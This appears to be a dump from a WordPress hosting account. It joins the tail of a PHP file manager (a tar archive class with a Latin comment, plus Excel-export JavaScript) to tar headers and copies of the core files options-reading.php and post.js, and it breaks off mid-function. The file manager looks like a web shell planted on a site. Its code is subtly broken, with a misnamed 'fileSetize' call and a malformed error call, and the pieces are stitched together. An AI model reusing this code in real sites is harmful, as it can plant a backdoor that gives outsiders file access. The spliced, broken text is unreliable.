		         for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}
	b && (g += k[f << 6 - b]);
	return g

}



var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {

            return s.replace(/{(\w+)}/g, function(m, p) {
                                  
                return c[p];
            })

        }
                          
    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)
                               
        var ctx = {
                                 
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		         t = new Date();
		         filename = 'fm_' + t.toISOString() + '.xls'

		         download_xls(filename, base64_encode(format(template, ctx)))

    }

})();


var table2Excel = function () {


    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");
                                

	this.CreateExcelSheet = 

		         function(el, name){
		         	if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



		         		         var x = document.getElementById(el).rows;



		         		         var xls = new ActiveXObject("Excel.Application");



		         		         xls.visible = true;
		         		         xls.Workbooks.Add
		         		         for (i = 0; i < x.length; i++) {

		         		         	var y = x[i].cells;
                                 


		         		         	for (j = 0; j < y.length; j++) {
                        
		         		         		         xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		         		         	}
		         		         }
                                        
		         		         xls.Visible = true;
		         		         xls.UserControl = true;

	
    
    	         		         return xls;
                                
		         	} else {

		         		         tableToExcelData(el, name);

		         	}

		         }

}
                                        
</script>

</body>

</html>
                                   


<?php








// Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus



class archiveTar {

	var $archiveTitle = '';
                          
	var $temporaryFile = 0;

	var $filePointer = 0;
	var $isCompressedFile = true;
                           
	var $errorList = array();
                         
	var $fileSet = array();

	
                            
	function __construct(){

		         if (!isset($this->errorList)) $this->errorList = array();

	}
	
	function buildArchivePackage($file_list){

		         $result = false;
                           
		         if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) 	$newArchive = false;
		         else $newArchive = true;
		         if ($newArchive){
                                       
		         	if (!$this->initiateFileWrite()) return false;
		         } else {

		         	if (fileSetize($this->archiveTitle) == 0)	return $this->initiateFileWrite();

		         	if ($this->isCompressedFile) {

		         		         $this->finalizeTempFile();
		         		         if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){
		         		         	$this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp';

		         		         	return false;
		         		         }
                             
		         		         $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb');

		         		         if (!$tmpArchive){



                                    $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable');
                         
		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);

		         		         	return false;
                                     
		         		         }

		         		         if (!$this->initiateFileWrite()){

                                    

		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);
                               
		         		         	return false;

		         		         }

		         		         $buffer = gzread($tmpArchive, 512);

		         		         if (!gzeof($tmpArchive)){
                          
		         		         	do {

		         		         		         $binaryData = pack('a512', $buffer);

		         		         		         $this->saveDataBlock($binaryData);
                                  
		         		         		         $buffer = gzread($tmpArchive, 512);
		         		         	}
		         		         	while (!gzeof($tmpArchive));
		         		         }
                              
		         		         gzclose($tmpArchive);
		         		         unlink($this->archiveTitle.'.tmp');
		         	} else {

		         		         $this->temporaryFile = fopen($this->archiveTitle, 'r+b');
                                        
		         		         if (!$this->temporaryFile)	return false;
		         	}

		         }
		         if (isset($file_list) && is_array($file_list)) {
                                        
		         if (count($file_list)>0)

		         	$result = $this->bundleFilesIntoArchive($file_list);
		         } else $this->errorList[] = __('No file').__(' to ').__('Archive');
		         if (($result)&&(is_resource($this->temporaryFile))){

		         	$binaryData = pack('a512', '');
		         	$this->saveDataBlock($binaryData);
                                  
		         }
                               
		         $this->finalizeTempFile();

		         if ($newArchive && !$result){

		         $this->finalizeTempFile();
		         unlink($this->archiveTitle);

		         }
		         return $result;
                             
	}


                                       
	function recoverArchive($path){
		         $fileName = $this->archiveTitle;

		         if (!$this->isCompressedFile){

		         	if (file_exists($fileName)){
                         
		         		         if ($fp = fopen($fileName, 'rb')){

		         		         	$data = fread($fp, 2);
                                  
		         		         	fclose($fp);

		         		         	if ($data == '\37\213'){
                                
		         		         		         $this->isCompressedFile = true;
                            
		         		         	}

		         		         }

		         	}
		         	elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true;
                                       
		         } 
		         $result = true;
                           
		         if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb');

		         else $this->temporaryFile = fopen($fileName, 'rb');

		         if (!$this->temporaryFile){

		         	$this->errorList[] = $fileName.' '.__('is not readable');
		         	return false;

		         }

		         $result = $this->unbundleFilesIntoArchive($path);

		         	$this->finalizeTempFile();

		         return $result;

	}



	function displayErrorLogs	($message = '') {
		         $Errors = $this->errorList;
                          
		         if(count($Errors)>0) {

		         if (!empty($message)) $message = ' ('.$message.')';
		         	$message = __('Error occurred').$message.': <br/>';
		         	foreach ($Errors as $value)

		         		         $message .= $value.'<br/>';

		         	return $message;	

		         } else return '';

		         
                          
	}
	

	function bundleFilesIntoArchive($file_array){
		         $result = true;

		         if (!$this->temporaryFile){
		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;

		         }

		         if (!is_array($file_array) || count($file_array)<=0)
                        
          return true;

		         for ($i = 0; $i<count($file_array); $i++){

		         	$filename = $file_array[$i];
		         	if ($filename == $this->archiveTitle)

		         		         continue;
                                     
		         	if (strlen($filename)<=0)
                                      
		         		         continue;

		         	if (!file_exists($filename)){
		         		         $this->errorList[] = __('No file').' '.$filename;

		         		         continue;
		         	}

		         	if (!$this->temporaryFile){

		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;
		         	}
                               
		         if (strlen($filename)<=0){
		         	$this->errorList[] = __('Filename').' '.__('is incorrect');;
		         	return false;
		         }
		         $filename = str_replace('\\', '/', $filename);
		         $keep_filename = $this->generateValidPath($filename);
		         if (is_file($filename)){
		         	if (($file = fopen($filename, 'rb')) == 0){
                                    
		         		         $this->errorList[] = __('Mode ').__('is incorrect');

		         	}
		         		         if(($this->filePointer == 0)){

		         		         	if(!$this->insertHeaderInfo($filename, $keep_filename))
		         		         		         return false;

		         		         }

		         		         while (($buffer = fread($file, 512)) != ''){

		         		         	$binaryData = pack('a512', $buffer);
		         		         	$this->saveDataBlock($binaryData);
		         		         }

		         	fclose($file);
		         }	else $this->insertHeaderInfo($filename, $keep_filename);
                                       
		         	if (@is_dir($filename)){

		         		         if (!($handle = opendir($filename))){
		         		         	$this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
		         		         	continue;

		         		         }

		         		         while (false !== ($dir = readdir($handle))){
		         		         	if ($dir!='.' && $dir!='..'){

		         		         		         $file_array_tmp = array();

		         		         		         if ($filename != '.')

		         		         		         	$file_array_tmp[] = $filename.'/'.$dir;

		         		         		         else

		         		         		         	$file_array_tmp[] = $dir;


                                       
		         		         		         $result = $this->bundleFilesIntoArchive($file_array_tmp);

		         		         	}

		         		         }




		         		         unset($file_array_tmp);
		         		         unset($dir);

		         		         unset($handle);

		         	}

		         }
                         
		         return $result;

	}



	function unbundleFilesIntoArchive($path){ 

		         $path = str_replace('\\', '/', $path);
		         if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
                             
		         clearstatcache();
		         while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
                         
		         	if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         	if ($header['filename'] == '') continue;
                            
		         	if ($header['typeflag'] == 'L'){		         	//reading long header
                                
		         		         $filename = '';
                               
		         		         $decr = floor($header['size']/512);

		         		         for ($i = 0; $i < $decr; $i++){

		         		         	$content = $this->retrieveDataBlock();
		         		         	$filename .= $content;
                                       
		         		         }

		         		         if (($laspiece = $header['size'] % 512) != 0){
		         		         	$content = $this->retrieveDataBlock();

		         		         	$filename .= substr($content, 0, $laspiece);

		         		         }
		         		         $binaryData = $this->retrieveDataBlock();
		         		         if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         		         else $header['filename'] = $filename;

		         		         return true;
                        
		         	}

		         	if (($path != './') && ($path != '/')){
		         		         while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
		         		         if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                            
		         		         else $header['filename'] = $path.'/'.$header['filename'];

		         	}

		         	
		         	if (file_exists($header['filename'])){

		         		         if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
		         		         	$this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

		         		         	return false;

		         		         }

		         		         if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

		         		         	$this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

		         		         	return false;
                           
		         		         }
                                   
		         		         if (!is_writeable($header['filename'])){

		         		         	$this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
		         		         	return false;
		         		         }
                                
		         	} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
                                      
		         		         $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

		         		         return false;
                        
		         	}



		         	if ($header['typeflag'] == '5'){
                                   
		         		         if (!file_exists($header['filename']))		         {
                                 
		         		         	if (!mkdir($header['filename'], 0777))	{

		         		         		         
		         		         		         $this->errorList[] = __('Cannot create directory').' '.$header['filename'];

		         		         		         return false;

		         		         	} 
		         		         }
                             
		         	} else {

		         		         if (($destination = fopen($header['filename'], 'wb')) == 0) {
                        
		         		         	$this->errorList[] = __('Cannot write to file').' '.$header['filename'];

		         		         	return false;

		         		         } else {

		         		         	$decr = floor($header['size']/512);

		         		         	for ($i = 0; $i < $decr; $i++) {

		         		         		         $content = $this->retrieveDataBlock();

		         		         		         fwrite($destination, $content, 512);

		         		         	}
                         
		         		         	if (($header['size'] % 512) != 0) {

		         		         		         $content = $this->retrieveDataBlock();
		         		         		         fwrite($destination, $content, ($header['size'] % 512));

		         		         	}

		         		         	fclose($destination);
		         		         	touch($header['filename'], $header['time']);

		         		         }
		         		         clearstatcache();
                                     
		         		         if (fileSetize($header['filename']) != $header['size']) {
                            
		         		         	$this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
		         		         	return false;
                                   
		         		         }

		         	}
		         	if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
		         	if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
		         	$this->dirs[] = $file_dir;
                        
		         	$this->fileSet[] = $header['filename'];
	
		         }

		         return true;
	}

                                
	function dirCheck($dir){

		         $parent_dir = dirname($dir);
                                   

                                 
		         if ((@is_dir($dir)) or ($dir == ''))
                                        
		         	return true;


		         if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

		         	return false;

                                     
		         if (!mkdir($dir, 0777)){
		         	$this->errorList[] = __('Cannot create directory').' '.$dir;

		         	return false;

		         }

		         return true;
	}


	function fetchHeaderInfo($binaryData, &$header){
		         if (strlen($binaryData)==0){
		         	$header['filename'] = '';
		         	return true;
                                        
		         }


                                    
		         if (strlen($binaryData) != 512){
		         	$header['filename'] = '';

		         	$this->__('Invalid block size').': '.strlen($binaryData);
		         	return false;

		         }


		         $fileHash = 0;
		         for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1));

		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
		         for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1));


		         $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
                                  


		         $header['fileHash'] = OctDec(trim($unpack_data['fileHash']));
		         if ($header['fileHash'] != $fileHash){
                                
		         	$header['filename'] = '';

		         	if (($fileHash == 256) && ($header['fileHash'] == 0)) 	return true;

		         	$this->errorList[] = __('Error fileHash for file ').$unpack_data['filename'];
                                     
		         	return false;
                               
		         }

                                     
		         if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		         $header['filename'] = trim($unpack_data['filename']);

		         $header['mode'] = OctDec(trim($unpack_data['mode']));
                                     
		         $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier']));

		         $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		         $header['size'] = OctDec(trim($unpack_data['size']));

		         $header['time'] = OctDec(trim($unpack_data['time']));

		         return true;

	}



	function insertHeaderInfo($filename, $keep_filename){

		         $packF = 'a100a8a8a8a12A12';
		         $packL = 'a1a100a6a2a32a32a8a8a155a12';
                                       
		         if (strlen($keep_filename)<=0) $keep_filename = $filename;

		         $filename_ready = $this->generateValidPath($keep_filename);

		         if (strlen($filename_ready) > 99){		         		         		         	//write long header
		         $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		         $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



        //  Calculate the fileHash

		         $fileHash = 0;
        //  First part of the header

		         for ($i = 0; $i < 148; $i++)
		         	$fileHash += ord(substr($dataFirst, $i, 1));

        //  Ignore the fileHash value and replace it by ' ' (space)
		         for ($i = 148; $i < 156; $i++)
		         	$fileHash += ord(' ');

        //  Last part of the header
                                    
		         for ($i = 156, $j=0; $i < 512; $i++, $j++)

		         	$fileHash += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		         $this->saveDataBlock($dataFirst, 148);

        //  Write the calculated fileHash

		         $fileHash = sprintf('%6s ', DecOct($fileHash));
		         $binaryData = pack('a8', $fileHash);
                              
		         $this->saveDataBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
                            
		         $this->saveDataBlock($dataLast, 356);


                                 
		         $temporaryFilename = $this->generateValidPath($filename_ready);

		         $i = 0;
                                
		         	while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){
                        
		         		         $binaryData = pack('a512', $buffer);
		         		         $this->saveDataBlock($binaryData);
                                  
		         	}

		         return true;
		         }

		         $file_info = stat($filename);

		         if (@is_dir($filename)){
                              
		         	$typeflag = '5';

		         	$size = sprintf('%11s ', DecOct(0));
		         } else {
		         	$typeflag = '';

		         	clearstatcache();
                            
		         	$size = sprintf('%11s ', DecOct(fileSetize($filename)));

		         }

		         $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		         $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		         $fileHash = 0;

		         for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1));
                              
		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');

		         for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1));

		         $this->saveDataBlock($dataFirst, 148);

		         $fileHash = sprintf('%6s ', DecOct($fileHash));

		         $binaryData = pack('a8', $fileHash);
                                
		         $this->saveDataBlock($binaryData, 8);

		         $this->saveDataBlock($dataLast, 356);

		         return true;
	}
                              


	function initiateFileWrite(){
		         if ($this->isCompressedFile)
		         	$this->temporaryFile = gzopen($this->archiveTitle, 'wb9f');
                               
		         else

		         	$this->temporaryFile = fopen($this->archiveTitle, 'wb');


		         if (!($this->temporaryFile)){

		         	$this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle;
                           
		         	return false;

		         }
		         return true;
                                      
	}

                                       
	function retrieveDataBlock(){

		         if (is_resource($this->temporaryFile)){

		         	if ($this->isCompressedFile)

		         		         $block = gzread($this->temporaryFile, 512);

		         	else
                               
		         		         $block = fread($this->temporaryFile, 512);
                               
		         } else	$block = '';
                                

                             
		         return $block;
                                       
	}


	function saveDataBlock($data, $length = 0){

		         if (is_resource($this->temporaryFile)){
                                  
		         

		         	if ($length === 0){

		         		         if ($this->isCompressedFile)
                                   
		         		         	gzputs($this->temporaryFile, $data);
                               
		         		         else

		         		         	fputs($this->temporaryFile, $data);

		         	} else {
		         		         if ($this->isCompressedFile)

		         		         	gzputs($this->temporaryFile, $data, $length);
		         		         else

		         		         	fputs($this->temporaryFile, $data, $length);

		         	}
                        
		         }

	}


	function finalizeTempFile(){
		         if (is_resource($this->temporaryFile)){
                                        
		         	if ($this->isCompressedFile)

		         		         gzclose($this->temporaryFile);

		         	else

		         		         fclose($this->temporaryFile);



		         	$this->temporaryFile = 0;

		         }

	}



	function generateValidPath($path){
                                        
		         if (strlen($path)>0){
                                      
		         	$path = str_replace('\\', '/', $path);
		         	$partPath = explode('/', $path);

		         	$els = count($partPath)-1;

		         	for ($i = $els; $i>=0; $i--){

		         		         if ($partPath[$i] == '.'){

                    //  Ignore this directory
                          
                } elseif ($partPath[$i] == '..'){

                    $i--;

                }

		         		         elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else

		         		         	$result = $partPath[$i].($i!=$els ? '/'.$result : '');
		         	}
                                   
		         } else $result = '';
		         

		         return $result;

	}
                                  
}

?>
options-reading.php.tar000064400000030000150276633110011141 0ustar00home/natitnen/crestassured.com/wp-admin/options-reading.php000064400000024112150274246210020132 0ustar00<?php
/**
 * Reading settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Reading Settings' );
$parent_file = 'options-general.php';

add_action( 'admin_head', 'options_reading_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen contains the settings that affect the display of your content.' ) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: URL to create a new page. */
				__( 'You can choose what&#8217;s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two <a href="%s">Pages</a>. One will become the homepage, and the other will be where your posts are displayed.' ),
				'post-new.php?post_type=page'
			) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: Documentation URL. */
				__( 'You can also control the display of your content in RSS feeds, including the maximum number of posts to display and whether to show full text or an excerpt. <a href="%s">Learn more about feeds</a>.' ),
				__( 'https://wordpress.org/documentation/article/wordpress-feeds/' )
			) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'site-visibility',
		'title'   => has_action( 'blog_privacy_selector' ) ? __( 'Site visibility' ) : __( 'Search engine visibility' ),
		'content' => '<p>' . __( 'You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to &#8220;Discourage search engines from indexing this site&#8221; and click the Save Changes button at the bottom of the screen.' ) . '</p>' .
			'<p>' . __( 'Note that even when set to discourage search engines, your site is still visible on the web and not all search engines adhere to this directive.' ) . '</p>' .
			'<p>' . __( 'When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, &#8220;Search engines discouraged&#8221;, to remind you that you have directed search engines to not crawl your site.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-reading-screen/">Documentation on Reading Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form method="post" action="options.php">
<?php
settings_fields( 'reading' );

if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) {
	add_settings_field( 'blog_charset', __( 'Encoding for pages and feeds' ), 'options_reading_blog_charset', 'reading', 'default', array( 'label_for' => 'blog_charset' ) );
}
?>

<?php if ( ! get_pages() ) : ?>
<input name="show_on_front" type="hidden" value="posts" />
<table class="form-table" role="presentation">
	<?php
	if ( 'posts' !== get_option( 'show_on_front' ) ) :
		update_option( 'show_on_front', 'posts' );
	endif;

else :
	if ( 'page' === get_option( 'show_on_front' ) && ! get_option( 'page_on_front' ) && ! get_option( 'page_for_posts' ) ) {
		update_option( 'show_on_front', 'posts' );
	}
	?>
<table class="form-table" role="presentation">
<tr>
<th scope="row"><?php _e( 'Your homepage displays' ); ?></th>
<td id="front-static-pages"><fieldset>
	<legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Your homepage displays' );
		?>
	</span></legend>
	<p><label>
		<input name="show_on_front" type="radio" value="posts" class="tog" <?php checked( 'posts', get_option( 'show_on_front' ) ); ?> />
		<?php _e( 'Your latest posts' ); ?>
	</label>
	</p>
	<p><label>
		<input name="show_on_front" type="radio" value="page" class="tog" <?php checked( 'page', get_option( 'show_on_front' ) ); ?> />
		<?php
		printf(
			/* translators: %s: URL to Pages screen. */
			__( 'A <a href="%s">static page</a> (select below)' ),
			'edit.php?post_type=page'
		);
		?>
	</label>
	</p>
<ul>
	<li><label for="page_on_front">
	<?php
	printf(
		/* translators: %s: Select field to choose the front page. */
		__( 'Homepage: %s' ),
		wp_dropdown_pages(
			array(
				'name'              => 'page_on_front',
				'echo'              => 0,
				'show_option_none'  => __( '&mdash; Select &mdash;' ),
				'option_none_value' => '0',
				'selected'          => get_option( 'page_on_front' ),
			)
		)
	);
	?>
</label></li>
	<li><label for="page_for_posts">
	<?php
	printf(
		/* translators: %s: Select field to choose the page for posts. */
		__( 'Posts page: %s' ),
		wp_dropdown_pages(
			array(
				'name'              => 'page_for_posts',
				'echo'              => 0,
				'show_option_none'  => __( '&mdash; Select &mdash;' ),
				'option_none_value' => '0',
				'selected'          => get_option( 'page_for_posts' ),
			)
		)
	);
	?>
</label></li>
</ul>
	<?php
	if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) === get_option( 'page_on_front' ) ) :
		wp_admin_notice(
			__( '<strong>Warning:</strong> these pages should not be the same!' ),
			array(
				'type'               => 'warning',
				'id'                 => 'front-page-warning',
				'additional_classes' => array( 'inline' ),
			)
		);
	endif;
	if ( get_option( 'wp_page_for_privacy_policy' ) === get_option( 'page_for_posts' ) || get_option( 'wp_page_for_privacy_policy' ) === get_option( 'page_on_front' ) ) :
		wp_admin_notice(
			__( '<strong>Warning:</strong> these pages should not be the same as your Privacy Policy page!' ),
			array(
				'type'               => 'warning',
				'id'                 => 'privacy-policy-page-warning',
				'additional_classes' => array( 'inline' ),
			)
		);
	endif;
	?>
</fieldset></td>
</tr>
<?php endif; ?>
<tr>
<th scope="row"><label for="posts_per_page"><?php _e( 'Blog pages show at most' ); ?></label></th>
<td>
<input name="posts_per_page" type="number" step="1" min="1" id="posts_per_page" value="<?php form_option( 'posts_per_page' ); ?>" class="small-text" /> <?php _e( 'posts' ); ?>
</td>
</tr>
<tr>
<th scope="row"><label for="posts_per_rss"><?php _e( 'Syndication feeds show the most recent' ); ?></label></th>
<td><input name="posts_per_rss" type="number" step="1" min="1" id="posts_per_rss" value="<?php form_option( 'posts_per_rss' ); ?>" class="small-text" /> <?php _e( 'items' ); ?></td>
</tr>
<tr>
<th scope="row"><?php _e( 'For each post in a feed, include' ); ?> </th>
<td><fieldset>
	<legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'For each post in a feed, include' );
		?>
	</span></legend>
	<p>
		<label><input name="rss_use_excerpt" type="radio" value="0" <?php checked( 0, get_option( 'rss_use_excerpt' ) ); ?>	/> <?php _e( 'Full text' ); ?></label><br />
		<label><input name="rss_use_excerpt" type="radio" value="1" <?php checked( 1, get_option( 'rss_use_excerpt' ) ); ?> /> <?php _e( 'Excerpt' ); ?></label>
	</p>
	<p class="description">
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'Your theme determines how content is displayed in browsers. <a href="%s">Learn more about feeds</a>.' ),
			__( 'https://wordpress.org/documentation/article/wordpress-feeds/' )
		);
		?>
	</p>
</fieldset></td>
</tr>

<tr class="option-site-visibility">
<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site visibility' ) : _e( 'Search engine visibility' ); ?> </th>
<td><fieldset>
	<legend class="screen-reader-text"><span>
		<?php
		has_action( 'blog_privacy_selector' )
			/* translators: Hidden accessibility text. */
			? _e( 'Site visibility' )
			/* translators: Hidden accessibility text. */
			: _e( 'Search engine visibility' );
		?>
	</span></legend>
<?php if ( has_action( 'blog_privacy_selector' ) ) : ?>
	<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( '1', get_option( 'blog_public' ) ); ?> />
	<label for="blog-public"><?php _e( 'Allow search engines to index this site' ); ?></label><br />
	<input id="blog-norobots" type="radio" name="blog_public" value="0" <?php checked( '0', get_option( 'blog_public' ) ); ?> />
	<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
	<p class="description"><?php _e( 'Note: Neither of these options blocks access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
	<?php
	/**
	 * Enables the legacy 'Site visibility' privacy options.
	 *
	 * By default the privacy options form displays a single checkbox to 'discourage' search
	 * engines from indexing the site. Hooking to this action serves a dual purpose:
	 *
	 * 1. Disable the single checkbox in favor of a multiple-choice list of radio buttons.
	 * 2. Open the door to adding additional radio button choices to the list.
	 *
	 * Hooking to this action also converts the 'Search engine visibility' heading to the more
	 * open-ended 'Site visibility' heading.
	 *
	 * @since 2.1.0
	 */
	do_action( 'blog_privacy_selector' );
	?>
<?php else : ?>
	<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" value="0" <?php checked( '0', get_option( 'blog_public' ) ); ?> />
	<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
	<p class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
<?php endif; ?>
</fieldset></td>
</tr>

<?php do_settings_fields( 'reading', 'default' ); ?>
</table>

<?php do_settings_sections( 'reading' ); ?>

<?php submit_button(); ?>
</form>
</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
post.js000064400000116274150276633110006106 0ustar00/**
 * @file Contains all dynamic functionality needed on post and term pages.
 *
 * @output wp-admin/js/post.js
 */

 /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */
 /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */
 /* global WPSetThumbnailHTML, wptitlehint */

// Backward compatibility: prevent fatal errors.
window.makeSlugeditClickable = window.editPermalink = function(){};

// Make sure the wp object exists.
window.wp = window.wp || {};

( function( $ ) {
	var titleHasFocus = false,
		__ = wp.i18n.__;

	/**
	 * Control loading of comments on the post and term edit pages.
	 *
	 * @type {{st: number, get: commentsBox.get, load: commentsBox.load}}
	 *
	 * @namespace commentsBox
	 */
	window.commentsBox = {
		// Comment offset to use when fetching new comments.
		st : 0,

		/**
		 * Fetch comments using Ajax and display them in the box.
		 *
		 * @memberof commentsBox
		 *
		 * @param {number} total Total number of comments for this post.
		 * @param {number} num   Optional. Number of comments to fetch, defaults to 20.
		 * @return {boolean} Always returns false.
		 */
		get : function(total, num) {
			var st = this.st, data;
			if ( ! num )
				num = 20;

			this.st += num;
			this.total = total;
			$( '#commentsdiv .spinner' ).addClass( 'is-active' );

			data = {
				'action' : 'get-comments',
				'mode' : 'single',
				'_ajax_nonce' : $('#add_comment_nonce').val(),
				'p' : $('#post_ID').val(),
				'start' : st,
				'number' : num
			};

			$.post(
				ajaxurl,
				data,
				function(r) {
					r = wpAjax.parseAjaxResponse(r);
					$('#commentsdiv .widefat').show();
					$( '#commentsdiv .spinner' ).removeClass( 'is-active' );

					if ( 'object' == typeof r && r.responses[0] ) {
						$('#the-comment-list').append( r.responses[0].data );

						theList = theExtraList = null;
						$( 'a[className*=\':\']' ).off();

						// If the offset is over the total number of comments we cannot fetch any more, so hide the button.
						if ( commentsBox.st > commentsBox.total )
							$('#show-comments').hide();
						else
							$('#show-comments').show().children('a').text( __( 'Show more comments' ) );

						return;
					} else if ( 1 == r ) {
						$('#show-comments').text( __( 'No more comments found.' ) );
						return;
					}

